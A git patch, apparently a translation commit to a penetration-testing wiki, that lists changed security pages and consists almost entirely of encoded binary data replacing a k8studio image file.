From 073567d27617dcf679b59604dba9a3c5049bc6f6 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 7 Oct 2025 10:28:58 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-web/web-api- --- src/images/k8studio.jpg | Bin 6667 -> 0 bytes src/images/k8studio.png | Bin 0 -> 88827 bytes .../privilege-escalation/README.md | 614 +++++++++--------- .../pentesting-web/cgi.md | 53 +- .../pentesting-web/web-api-pentesting.md | 96 ++- .../pentesting-web/wordpress.md | 403 ++++++------ src/pentesting-web/command-injection.md | 38 +- src/welcome/hacktricks-values-and-faq.md | 96 +-- 8 files changed, 675 insertions(+), 625 deletions(-) delete mode 100644 src/images/k8studio.jpg create mode 100644 src/images/k8studio.png diff --git a/src/images/k8studio.jpg b/src/images/k8studio.jpg deleted file mode 100644 index 1c427e89fa5348b69ee377112fe4841a2960c2f8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6667 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 aSMyP>bE5UmqebZX#jO=e^LrmJ_Wd8$Cy6rv diff --git a/src/images/k8studio.png b/src/images/k8studio.png new file mode 100644 index 0000000000000000000000000000000000000000..0add889f2f1854c1141ca35b43a867a37bbb1b57 GIT binary patch literal 88827 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 